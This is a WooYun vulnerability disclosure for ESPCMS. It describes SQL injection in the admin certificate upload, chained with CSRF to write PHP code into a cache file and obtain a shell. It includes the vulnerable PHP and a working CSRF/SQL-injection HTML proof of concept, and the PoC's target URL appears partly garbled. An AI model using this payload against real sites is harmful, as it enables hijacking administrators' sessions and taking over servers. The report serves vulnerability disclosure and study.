当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071680

漏洞标题:ESPCMS_csrf利用后台sql注射getshell

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: menmen519

提交时间:2014-08-12 14:55

修复时间:2014-11-10 14:56

公开时间:2014-11-10 14:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-12: 厂商已经确认,细节仅向厂商公开
2014-08-15: 细节向第三方安全合作伙伴开放
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

这两天再写csrf的一些东西,所以拿了ESPCMS做了一个演示,这里只是其中一个意外发现,后续还有csrf更狠的地方,总之一句话漏洞利用是一门艺术,我会提供一个csrf另外一种思路去让管理员只交互一次,然后轻松拿下站点shell,就我分析应该各大cms,都可以按照这个思路去做!!!

详细说明:

好了 废话不多说了 首先我们安装完毕espcms 然后登录到后台

1.png


问题就出在了,上传证书这一块,直接看代码,
adminsoft/control/management.php:(lines:802-815)

if (!file_exists($filetmpname)) {
$isupfiletrue = 'false';
}
$datacontent = file_get_contents($filetmpname);
if (empty($datacontent)) {
$isupfiletrue = 'false';
}
if ($isupfiletrue != 'false') {
$db_table = db_prefix . 'config';
$db_where = "valname='cer_key'";
$db_set = "value='$datacontent'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
$db_where = "valname='cer_file'";
$db_set = "value='111111'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
$this->systemfile(true);
$this->calldialogmessage($this->lng['management_upfile_text_ok_js'], $this->lng['management_upfile_text_exit_bottonok'], '', 0, 1, 'locationout');
}
$this->ectemplates->assign('digheight', $digheight);
$this->ectemplates->assign('isupfiletrue', $isupfiletrue);
$this->ectemplates->display('admin/admin_upfile');


这里直接读进来文件,然后进行sql操作,产生了注入点,并且内容完全可控
经过测试这个上传文件的过程存在csrf,这里就不多做演示了
下来我们来分析一下,惊奇的发现datacache/command.php 这个东西就是缓存配置的,我们只一个点

2.png


构造csrf表单:

<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.47.131/ESPCMSV6000140708_INSTALLhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/adminsoft/index.php", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------277302291911927");
xhr.withCredentials = "true";
var sql = "10);\r\n phpinfo();\r\n$a=array(123456=>1' WHERE valname='order_integral'-- ";
var body='-----------------------------277302291911927\r\nContent-Disposition: form-data; name="point"\r\n\r\nadmin\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="archive"\r\n\r\nmanagement\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="action"\r\n\r\ncerfilecheck\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="digheight"\r\n\r\n250\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="cerupfilepath"; filename="she.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'+sql+'\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="Submit"\r\n\r\nå¼\x80å§\x8béª\x8cè¯\x81\r\n-----------------------------277302291911927--\r\n';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
csrf_sql();
</script>
</body>
</html>


这个表单构造好了,发包前这个文件是这样的:

3.png


发送请求后的此文件为:

4.png


然后我们访问一下文件看一下,是否执行了:

5.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-12 15:16

厂商回复:

感谢您对此漏洞的提供,我们会尽快修复此漏洞!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-12 14:58 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    0.0

  2. 2014-08-12 15:09 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    小伙子喜欢各种组合技能。

  3. 2014-08-12 15:12 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    sa权限?

  4. 2014-08-12 15:29 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @′ 雨。 不需要sa权限

  5. 2014-08-12 15:44 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)

    太机智了,必须给个评论

  6. 2014-08-12 19:26 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    哥 我又来顶你了

  7. 2014-08-12 19:28 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    弱弱的问下。官网2014-08-12 14:58:58的版本在哪下载。。

  8. 2014-08-14 09:14 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    ESPCMS不是php+mysql么...不需要sa是个什么情况 需要也没处给你啊

  9. 2014-08-14 12:18 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @索马里的海贼 好吧我表述错误 其实我想表达的是与数据库权限没有关系

  10. 2014-08-15 07:08 | kav ( 路人 | Rank:0 漏洞数:3 )

    这个,真是我辈学习之楷模啊!

  11. 2014-08-22 18:02 | chock ( 实习白帽子 | Rank:58 漏洞数:15 | 今夜我们都是wooyun人,我们一定要收购长亭)

    各大cms都可以。。。我读的书少,你不要骗我。。。。

  12. 2014-08-22 18:24 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @chock 我说的这个思路

  13. 2014-09-02 16:55 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    楼主好思路!- -

  14. 2014-11-10 16:01 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    @menmen519 代码分析什么的 都是不明觉厉,能收我为徒么...